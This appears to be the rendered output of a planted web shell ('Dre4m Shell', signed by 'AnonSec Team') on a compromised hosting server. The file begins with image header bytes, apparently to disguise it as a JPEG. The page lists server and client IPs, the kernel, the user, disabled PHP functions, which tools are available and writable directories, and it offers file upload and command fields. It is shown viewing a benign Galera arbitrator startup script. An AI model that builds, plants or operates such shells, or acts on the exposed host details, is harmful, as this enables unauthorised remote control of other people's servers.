ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 52.15.253.149
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /bin/garb-systemd
#!/bin/bash -ue
#


config=/etc/sysconfig/garb

log_failure() {
    echo " ERROR! $@"
}



program_start() {
	echo "Starting garbd"
        /usr/bin/garbd "$@"
}


start() {

	if grep -q -E '^# REMOVE' $config;then 
	    log_failure "Garbd config $config is not configured yet"
	    return 0
	fi

        [ -f $config ] && . $config

	# Check that node addresses are configured
	if [[ -z "${GALERA_NODES:-}" ]]; then
		log_failure "List of GALERA_NODES is not configured"
		return 6
	fi
	if [[ -z "${GALERA_GROUP:-}" ]]; then
		log_failure "GALERA_GROUP name is not configured"
		return 6
	fi

	GALERA_PORT=${GALERA_PORT:-4567}

	OPTIONS="-a gcomm://${GALERA_NODES// /,}"
	# substitute space with comma for backward compatibility

	[ -n "${GALERA_GROUP:-}" ]   && OPTIONS="$OPTIONS -g '$GALERA_GROUP'"
	[ -n "${GALERA_OPTIONS:-}" ] && OPTIONS="$OPTIONS -o '$GALERA_OPTIONS'"
	[ -n "${LOG_FILE:-}" ]       && OPTIONS="$OPTIONS -l '$LOG_FILE'"

	eval program_start $OPTIONS
}



# See how we were called.
case "$1" in
  start)
	start
	;;
  *)
	echo $"Usage: $0 {start}"
	exit 2
esac

exit $?

Anon7 - 2022
AnonSec Team